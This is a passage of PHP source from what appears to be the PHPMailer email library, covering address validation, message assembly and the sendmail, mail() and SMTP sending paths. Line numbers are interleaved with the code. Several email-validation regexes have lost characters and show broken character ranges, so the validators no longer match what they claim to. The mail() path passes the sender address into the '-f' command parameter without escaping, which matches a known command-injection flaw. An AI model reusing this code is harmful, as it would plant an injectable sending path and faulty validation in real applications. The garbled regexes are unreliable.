)?[	 ]+)?)(\((?>(?2)' . '(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
996
            case 'pcre':
997
                //An older regex that doesn't need a recent PCRE
998
                return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
999
            case 'html5':
1000
                /**
1001
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
1002
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
1003
                 */
1004
                return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
1005
            case 'noregex':
1006
                //No PCRE! Do something _very_ approximate!
1007
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
1008
                return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
1009
            case 'php':
1010
            default:
1011
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
1012
        }
1013
    }
1014
    /**
1015
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
1016
     * "intl" and "mbstring" PHP extensions.
1017
     * @return bool "true" if required functions for IDN support are present
1018
     */
1019
    public function idnSupported() {
1020
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
1021
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
1022
    }
1023
    /**
1024
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
1025
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
1026
     * This function silently returns unmodified address if:
1027
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
1028
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
1029
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
1030
     * @see PHPMailer::$CharSet
1031
     * @param string $address The email address to convert
1032
     * @return string The encoded address in ASCII form
1033
     */
1034
    public function punyencodeAddress($address) {
1035
        // Verify we have required functions, CharSet, and at-sign.
1036
        if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) {
1037
            $domain = substr($address, ++$pos);
1038
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
1039
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
1040
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
1041
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) {
1042
                    return substr($address, 0, $pos) . $punycode;
1043
                }
1044
            }
1045
        }
1046
        return $address;
1047
    }
1048
    /**
1049
     * Create a message and send it.
1050
     * Uses the sending method specified by $Mailer.
1051
     * @throws phpmailerException
1052
     * @return boolean false on error - See the ErrorInfo property for details of the error.
1053
     */
1054
    public function send() {
1055
        try {
1056
            if (!$this->preSend()) {
1057
                return false;
1058
            }
1059
            return $this->postSend();
1060
        }
1061
        catch(phpmailerException $exc) {
1062
            $this->mailHeader = '';
1063
            $this->setError($exc->getMessage());
1064
            if ($this->exceptions) {
1065
                throw $exc;
1066
            }
1067
            return false;
1068
        }
1069
    }
1070
    /**
1071
     * Prepare a message for sending.
1072
     * @throws phpmailerException
1073
     * @return boolean
1074
     */
1075
    public function preSend() {
1076
        try {
1077
            $this->error_count = 0; // Reset errors
1078
            $this->mailHeader = '';
1079
            // Dequeue recipient and Reply-To addresses with IDN
1080
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
1081
                $params[1] = $this->punyencodeAddress($params[1]);
1082
                call_user_func_array(array($this, 'addAnAddress'), $params);
1083
            }
1084
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1085
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
1086
            }
1087
            // Validate From, Sender, and ConfirmReadingTo addresses
1088
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
1089
                $this->$address_kind = trim($this->$address_kind);
1090
                if (empty($this->$address_kind)) {
1091
                    continue;
1092
                }
1093
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
1094
                if (!$this->validateAddress($this->$address_kind)) {
1095
                    $error_message = $this->lang('invalid_address') . $this->$address_kind;
1096
                    $this->setError($error_message);
1097
                    $this->edebug($error_message);
1098
                    if ($this->exceptions) {
1099
                        throw new phpmailerException($error_message);
1100
                    }
1101
                    return false;
1102
                }
1103
            }
1104
            // Set whether the message is multipart/alternative
1105
            if (!empty($this->AltBody)) {
1106
                $this->ContentType = 'multipart/alternative';
1107
            }
1108
            $this->setMessageType();
1109
            // Refuse to send an empty message unless we are specifically allowing it
1110
            if (!$this->AllowEmpty and empty($this->Body)) {
1111
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
1112
            }
1113
            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
1114
            $this->MIMEHeader = '';
1115
            $this->MIMEBody = $this->createBody();
1116
            // createBody may have added some headers, so retain them
1117
            $tempheaders = $this->MIMEHeader;
1118
            $this->MIMEHeader = $this->createHeader();
1119
            $this->MIMEHeader.= $tempheaders;
1120
            // To capture the complete message when using mail(), create
1121
            // an extra header list which createHeader() doesn't fold in
1122
            if ($this->Mailer == 'mail') {
1123
                if (count($this->to) > 0) {
1124
                    $this->mailHeader.= $this->addrAppend('To', $this->to);
1125
                } else {
1126
                    $this->mailHeader.= $this->headerLine('To', 'undisclosed-recipients:;');
1127
                }
1128
                $this->mailHeader.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
1129
            }
1130
            // Sign with DKIM if enabled
1131
            if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) {
1132
                $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
1133
                $this->MIMEHeader = rtrim($this->MIMEHeader, "
1134
 ") . self::CRLF . str_replace("
1135
", "
1136
", $header_dkim) . self::CRLF;
1137
            }
1138
            return true;
1139
        }
1140
        catch(phpmailerException $exc) {
1141
            $this->setError($exc->getMessage());
1142
            if ($this->exceptions) {
1143
                throw $exc;
1144
            }
1145
            return false;
1146
        }
1147
    }
1148
    public function innerBody() {
1149
    }
1150
    /**
1151
     * Actually send a message.
1152
     * Send the email via the selected mechanism
1153
     * @throws phpmailerException
1154
     * @return boolean
1155
     */
1156
    public function postSend() {
1157
        try {
1158
            // Choose the mailer and send through it
1159
            switch ($this->Mailer) {
1160
                case 'sendmail':
1161
                case 'qmail':
1162
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
1163
                case 'smtp':
1164
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
1165
                case 'mail':
1166
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1167
                default:
1168
                    $sendMethod = $this->Mailer . 'Send';
1169
                    if (method_exists($this, $sendMethod)) {
1170
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
1171
                    }
1172
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1173
            }
1174
        }
1175
        catch(phpmailerException $exc) {
1176
            $this->setError($exc->getMessage());
1177
            $this->edebug($exc->getMessage());
1178
            if ($this->exceptions) {
1179
                throw $exc;
1180
            }
1181
        }
1182
        return false;
1183
    }
1184
    /**
1185
     * Send mail using the $Sendmail program.
1186
     * @param string $header The message headers
1187
     * @param string $body The message body
1188
     * @see PHPMailer::$Sendmail
1189
     * @throws phpmailerException
1190
     * @access protected
1191
     * @return boolean
1192
     */
1193
    protected function sendmailSend($header, $body) {
1194
        if ($this->Sender != '') {
1195
            if ($this->Mailer == 'qmail') {
1196
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1197
            } else {
1198
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1199
            }
1200
        } else {
1201
            if ($this->Mailer == 'qmail') {
1202
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
1203
            } else {
1204
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
1205
            }
1206
        }
1207
        if ($this->SingleTo) {
1208
            foreach ($this->SingleToArray as $toAddr) {
1209
                if (!@$mail = popen($sendmail, 'w')) {
1210
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1211
                }
1212
                fputs($mail, 'To: ' . $toAddr . "
1213
");
1214
                fputs($mail, $header);
1215
                fputs($mail, $body);
1216
                $result = pclose($mail);
1217
                $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1218
                if ($result != 0) {
1219
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1220
                }
1221
            }
1222
        } else {
1223
            if (!@$mail = popen($sendmail, 'w')) {
1224
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1225
            }
1226
            fputs($mail, $header);
1227
            fputs($mail, $body);
1228
            $result = pclose($mail);
1229
            $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1230
            if ($result != 0) {
1231
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1232
            }
1233
        }
1234
        return true;
1235
    }
1236
    /**
1237
     * Send mail using the PHP mail() function.
1238
     * @param string $header The message headers
1239
     * @param string $body The message body
1240
     * @link http://www.php.net/manual/en/book.mail.php
1241
     * @throws phpmailerException
1242
     * @access protected
1243
     * @return boolean
1244
     */
1245
    protected function mailSend($header, $body) {
1246
        $toArr = array();
1247
        foreach ($this->to as $toaddr) {
1248
            $toArr[] = $this->addrFormat($toaddr);
1249
        }
1250
        $to = implode(', ', $toArr);
1251
        if (empty($this->Sender)) {
1252
            $params = ' ';
1253
        } else {
1254
            $params = sprintf('-f%s', $this->Sender);
1255
        }
1256
        if ($this->Sender != '' and !ini_get('safe_mode')) {
1257
            $old_from = ini_get('sendmail_from');
1258
            ini_set('sendmail_from', $this->Sender);
1259
        }
1260
        $result = false;
1261
        if ($this->SingleTo && count($toArr) > 1) {
1262
            foreach ($toArr as $toAddr) {
1263
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
1264
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1265
            }
1266
        } else {
1267
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
1268
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1269
        }
1270
        if (isset($old_from)) {
1271
            ini_set('sendmail_from', $old_from);
1272
        }
1273
        if (!$result) {
1274
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
1275
        }
1276
        return true;
1277
    }
1278
    /**
1279
     * Get an instance to use for SMTP operations.
1280
     * Override this function to load your own SMTP implementation
1281
     * @return SMTP
1282
     */
1283
    public function getSMTPInstance() {
1284
        if (!is_object($this->smtp)) {
1285
            $this->smtp = new SMTP;
1286
        }
1287
        return $this->smtp;
1288
    }
1289
    /**
1290
     * Send mail via SMTP.
1291
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
1292
     * Uses the PHPMailerSMTP class by default.
1293
     * @see PHPMailer::getSMTPInstance() to use a different class.
1294
     * @param string $header The message headers
1295
     * @param string $body The message body
1296
     * @throws phpmailerException
1297
     * @uses SMTP
1298
     * @access protected
1299
     * @return boolean
1300
     */
1301
    protected function smtpSend($header, $body) {
1302
        $bad_rcpt = array();
1303
        if (!$this->smtpConnect($this->SMTPOptions)) {
1304
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
1305
        }
1306
        if ('' == $this->Sender) {
1307
            $smtp_from = $this->From;
1308
        } else {
1309
            $smtp_from = $this->Sender;
1310
        }
1311
        if (!$this->smtp->mail($smtp_from)) {
1312
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
1313
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
1314
        }
1315
        // Attempt to send to all recipients
1316
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
1317
            foreach ($togroup as $to) {
1318
                if (!$this->smtp->recipient($to[0])) {
1319
                    $error = $this->smtp->getError();
1320
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
1321
                    $isSent = false;
1322
                } else {
1323
                    $isSent = true;
1324
                }
1325
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
1326
            }
1327
        }
1328
        // Only send the DATA command if we have viable recipients
1329
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
1330
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
1331
        }
1332
        if ($this->SMTPKeepAlive) {
1333
            $this->smtp->reset();
1334
        } else {
1335
            $this->smtp->quit();
1336
            $this->smtp->close();
1337
        }
1338
        //Create error message for any bad addresses
1339
        if (count($bad_rcpt) > 0) {
1340
            $errstr = '';
1341
            foreach ($bad_rcpt as $bad) {
1342
                $errstr.= $bad['to'] . ': ' . $bad['error'];
1343
            }
1344
            throw new phpmailerException($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
1345
        }
1346
        return true;
1347
    }
1348
    /**
1349
     * Initiate a connection to an SMTP server.
1350
     * Returns false if the operation failed.
1351
     * @param array $options An array of options compatible with stream_context_create()
1352
     * @uses SMTP
1353
     * @access public
1354
     * @throws phpmailerException
1355
     * @return boolean
1356
     */
1357
    public function smtpConnect($options = array()) {
1358
        if (is_null($this->smtp)) {
1359
            $this->smtp = $this->getSMTPInstance();
1360
        }
1361
        // Already connected?
1362
        if ($this->smtp->connected()) {
1363
            return true;
1364
        }
1365
        $this->smtp->setTimeout($this->Timeout);
1366
        $this->smtp->setDebugLevel($this->SMTPDebug);
1367
        $this->smtp->setDebugOutput($this->Debugoutput);
1368
        $this->smtp->setVerp($this->do_verp);
1369
        $hosts = explode(';', $this->Host);
1370
        $lastexception = null;
1371
        foreach ($hosts as $hostentry) {
1372
            $hostinfo = array();
1373
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
1374
                // Not a valid host entry
1375
                continue;
1376
            }
1377
            // $hostinfo[2]: optional ssl or tls prefix
1378
            // $hostinfo[3]: the hostname
1379
            // $hostinfo[4]: optional port number
1380
            // The host string prefix can temporarily override the current setting for SMTPSecure
1381
            // If it's not specified, the default value is used
1382
            $prefix = '';
1383
            $secure = $this->SMTPSecure;
1384
            $tls = ($this->SMTPSecure == 'tls');
1385
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
1386
                $prefix = 'ssl://';
1387
                $tls = false; // Can't have SSL and TLS at the same time
1388
                $secure = 'ssl';
1389
            } elseif ($hostinfo[2] == 'tls') {
1390
                $tls = true;
1391
                // tls doesn't use a prefix
1392
                $secure = 'tls';
1393
            }
1394
            //Do we need the OpenSSL extension?
1395
            $sslext = defined('OPENSSL_ALGO_SHA1');
1396
            if ('tls' === $secure or 'ssl' === $secure) {
1397
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
1398
                if (!$sslext) {
1399
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
1400
                }
1401
            }
1402
            $host = $hostinfo[3];
1403
            $port = $this->Port;
1404
            $tport = (integer)$hostinfo[4];
1405
            if ($tport > 0 and $tport < 65536) {
1406
                $port = $tport;
1407
            }
1408
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
1409
                try {
1410
                    if ($this->Helo) {
1411
                        $hello = $this->Helo;
1412
                    } else {
1413
                        $hello = $this->serverHostname();
1414
                    }
1415
                    $this->smtp->hello($hello);
1416
                    //Automatically enable TLS encryption if:
1417
                    // * it's not disabled
1418
                    // * we have openssl extension
1419
                    // * we are not already using SSL
1420
                    // * the server offers STARTTLS
1421
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
1422
                        $tls = true;
1423
                    }
1424
                    if ($tls) {
1425
                        if (!$this->smtp->startTLS()) {
1426
                            throw new phpmailerException($this->lang('connect_host'));
1427
                        }
1428
                        // We must resend HELO after tls negotiation
1429
                        $this->smtp->hello($hello);
1430
                    }
1431
                    if ($this->SMTPAuth) {
1432
                        if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
1433
                            throw new phpmailerException($this->lang('authenticate'));
1434
                        }
1435
                    }
1436
                    return true;
1437
                }
1438
                catch(phpmailerException $exc) {
1439
                    $lastexception = $exc;
1440
                    $this->edebug($exc->getMessage());
1441
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
1442
                    $this->smtp->quit();
1443
                }
1444
            }
1445
        }
1446
        // If we get here, all connection attempts have failed, so close connection hard
1447
        $this->smtp->close();
1448
        // As we've caught all exceptions, just report whatever the last one was
1449
        if ($this->exceptions and !is_null($lastexception)) {
1450
            throw $lastexception;
1451
        }
1452
        return false;
1453
    }
1454
    /**
1455
     * Close the active SMTP session if one exists.
1456
     * @return void
1457
     */
1458
    public function smtpClose() {
1459
        if ($this->smtp !== null) {
1460
            if ($this->smtp->connected()) {
1461
                $this->smtp->quit();
1462
                $this->smtp->close();
1463
            }
1464
        }
1465
    }
1466
    /**
1467
     * Set the language for error messages.
1468
     * Returns false if it cannot load the language file.
1469
     * The default language is English.
1470
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
1471
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
1472
     * @return boolean
1473
     * @access public
1474
     */
1475
    public function setLanguage($langcode = 'en', $lang_path = '') {
1476
        // Define full set of translatable strings in English
1477
        $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ');
1478
        if (empty($lang_path)) {
1479
            // Calculate an absolute path so it can work if CWD is not here
1480
            $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
1481
        }
1482
        $foundlang = true;
1483
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
1484
        // There is no English translation file
1485
        if ($langcode != 'en') {
1486
            // Make sure language file path is readable
1487
            if (!is_readable($lang_file)) {
1488
                $foundlang = false;
1489
            } else {
1490
                // Overwrite language-specific strings.
1491
                // This way we'll never have missing translation keys.
1492
                $foundlang = include $lang_file;
1493
            }
1494
        }
1495
        $this->language = $PHPMAILER_LANG;
1496
        return (boolean)$foundlang; // Returns false if language not found
1497
        
1498
    }
1499
    /**
1500
     * Get the array of strings for the current language.
1501
     * @return array
1502
     */
1503
    public function getTranslations() {
1504
        return $this->language;
1505
    }
1506
    /**
1507
     * Create recipient headers.
1508
     * @access public
1509
     * @param string $type
1510
     * @param array $addr An array of recipient,
1511
     * where each recipient is a 2-element indexed array with element 0 containing an address
1512
     * and element 1 containing a name, like:
1513
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
1514
     * @return string
1515
     */
1516
    public function addrAppend($type, $addr) {
1517
        $addresses = array();
1518
        foreach ($addr as $address) {
1519
            $addresses[] = $this->addrFormat($address);
1520
        }
1521
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
1522
    }
1523
    /**
1524
     * Format an address for use in a message header.
1525
     * @access public
1526
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
1527
     *      like array('joe@example.com', 'Joe User')
1528
     * @return string
1529
     */
1530
    public function addrFormat($addr) {
1531
        if (empty($addr[1])) { // No name provided
1532
            return $this->secureHeader($addr[0]);
1533
        } else {
1534
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
1535
        }
1536
    }
1537
    /**
1538
     * Word-wrap message.
1539
     * For use with mailers that do not automatically perform wrapping
1540
     * and for quoted-printable encoded messages.
1541
     * Original written by philippe.
1542
     * @param string $message The message to wrap
1543
     * @param integer $length The line length to wrap to
1544
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
1545
     * @access public
1546
     * @return string
1547
     */
1548
    public function wrapText($message, $length, $qp_mode = false) {
1549
        if ($qp_mode) {
1550
            $soft_break = sprintf(' =%s', $this->LE);
1551
        } else {
1552
            $soft_break = $this->LE;
1553
        }
1554
        // If utf-8 encoding is used, we will need to make sure we don't
1555
        // split multibyte characters when we wrap
1556
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
1557
        $lelen = strlen($this->LE);
1558
        $crlflen = strlen(self::CRLF);
1559
        $message = $this->fixEOL($message);
1560
        //Remove a trailing line break
1561
        if (substr($message, -$lelen) == $this->LE) {
1562
            $message = substr($message, 0, -$lelen);
1563
        }
1564
        //Split message into lines
1565
        $lines = explode($this->LE, $message);
1566
        //Message will be rebuilt in here
1567
        $message = '';
1568
        foreach ($lines as $line) {
1569
            $words = explode(' ', $line);
1570
            $buf = '';
1571
            $firstword = true;
1572
            foreach ($words as $word) {
1573
                if ($qp_mode and (strlen($word) > $length)) {
1574
                    $space_left = $length - strlen($buf) - $crlflen;
1575
                    if (!$firstword) {
1576
                        if ($space_left > 20) {
1577
                            $len = $space_left;
1578
                            if ($is_utf8) {
1579
                                $len = $this->utf8CharBoundary($word, $len);
1580
                            } elseif (substr($word, $len - 1, 1) == '=') {
1581
                                $len--;
1582
                            } elseif (substr($word, $len - 2, 1) == '=') {
1583
                                $len-= 2;
1584
                            }
1585
                            $part = substr($word, 0, $len);
1586
                            $word = substr($word, $len);
1587
                            $buf.= ' ' . $part;
1588
                            $message.= $buf . sprintf('=%s', self::CRLF);
1589
                        } else {
1590
                            $message.= $buf . $soft_break;
1591
                        }
1592
                        $buf = '';
1593
                    }
1594
                    while (strlen($word) > 0) {
1595
                        if ($length <= 0) {
1596
                            break;
1597
                        }
1598
                        $len = $length;
1599
                        if ($is_utf8) {
1600
                            $len = $this->utf8CharBoundary($word, $len);
1601
                        } elseif (substr($word, $len - 1, 1) == '=') {
1602
                            $len--;
1603
                        } elseif (substr($word, $len - 2, 1) == '=') {
1604
                            $len-= 2;
1605
                        }
1606
                        $part = substr($word, 0, $len);
1607
                        $word = substr($word, $len);
1608
                        if (strlen($word) > 0) {
1609
                            $message.= $part . sprintf('=%s', self::CRLF);
1610
                        } else {
1611
                            $buf = $part;
1612
                        }
1613
                    }
1614
                } else {
1615
                    $buf_o = $buf;
1616
                    if (!$firstword) {
1617
                        $buf.= ' ';
1618
                    }
1619
                    $buf.= $word;
1620
                    if (strlen($buf) > $length and $buf_o != '') {
1621
                        $message.= $buf_o . $soft_break;
1622
                        $buf = $word;
1623
                    }
1624
                }
1625
                $firstword = false;
1626
            }
1627
            $message.= $buf . self::CRLF;
1628
        }
1629
        return $message;
1630
    }
1631
    /**
1632
     * Find the last character boundary prior to $maxLength in a utf-8
1633
     * quoted-printable encoded string.
1634
     * Original written by Colin Brown.
1635
     * @access public
1636
     * @param string $encodedText utf-8 QP text
1637
     * @param integer $maxLength Find the last character boundary prior to this length
1638
     * @return integer
1639
     */
1640
    public function utf8CharBoundary($encodedText, $maxLength) {
1641
        $foundSplitPos = false;
1642
        $lookBack = 3;
1643
        while (!$foundSplitPos) {
1644
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
1645
            $encodedCharPos = strpos($lastChunk, '=');
1646
            if (false !== $encodedCharPos) {
1647
                // Found start of encoded character byte within $lookBack block.
1648
                // Check the encoded byte value (the 2 chars after the '=')
1649
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
1650
                $dec = hexdec($hex);
1651
                if ($dec < 128) {
1652
                    // Single byte character.
1653
                    // If the encoded char was found at pos 0, it will fit
1654
                    // otherwise reduce maxLength to start of the encoded char
1655
                    if ($encodedCharPos > 0) {
1656
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1657
                    }
1658
                    $foundSplitPos = true;
1659
                } elseif ($dec >= 192) {
1660
                    // First byte of a multi byte character
1661
                    // Reduce maxLength to split at start of character
1662
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1663
                    $foundSplitPos = true;
1664
                } elseif ($dec < 192) {
1665
                    // Middle byte of a multi byte character, look further back
1666
                    $lookBack+= 3;
1667
                }
1668
            } else {
1669
                // No encoded character found
1670
                $foundSplitPos = true;
1671
            }
1672
        }
1673
        return $maxLength;
1674
    }
1675
    /**
1676
     * Apply word wrapping to the message body.
1677
     * Wraps the message body to the number of chars set in the WordWrap property.
1678
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
1679
     * This is called automatically by createBody(), so you don't need to call it yourself.
1680
     * @access public
1681
     * @return void
1682
     */
1683
    public function setWordWrap() {
1684
        if ($this->WordWrap < 1) {
1685
            return;
1686
        }
1687
        switch ($this->message_type) {
1688
            case 'alt':
1689
            case 'alt_inline':
1690
            case 'alt_attach':
1691
            case 'alt_inline_attach':
1692
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
1693
            break;
1694
            default:
1695
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
1696
            break;
1697
        }
1698
    }
1699
    /**
1700
     * Assemble message headers.
1701
     * @access public
1702
     * @return string The assembled headers
1703
     */
1704
    public function createHeader() {
1705
        $result = '';
1706
        if ($this->MessageDate == '') {
1707
            $this->MessageDate = self::rfcDate();
1708
        }
1709
        $result.= $this->headerLine('Date', $this->MessageDate);
1710
        // To be created automatically by mail()
1711
        if ($this->SingleTo) {
1712
            if ($this->Mailer != 'mail') {
1713
                foreach ($this->to as $toaddr) {
1714
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
1715
                }
1716
            }
1717
        } else {
1718
            if (count($this->to) > 0) {
1719
                if ($this->Mailer != 'mail') {
1720
                    $result.= $this->addrAppend('To', $this->to);
1721
                }
1722
            } elseif (count($this->cc) == 0) {
1723
                $result.= $this->headerLine('To', 'undisclosed-recipients:;');
1724
            }
1725
        }
1726
        $result.= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
1727
        // sendmail and mail() extract Cc from the header before sending
1728
        if (count($this->cc) > 0) {
1729
            $result.= $this->addrAppend('Cc', $this->cc);
1730
        }
1731
        // sendmail and mail() extract Bcc from the header before sending
1732
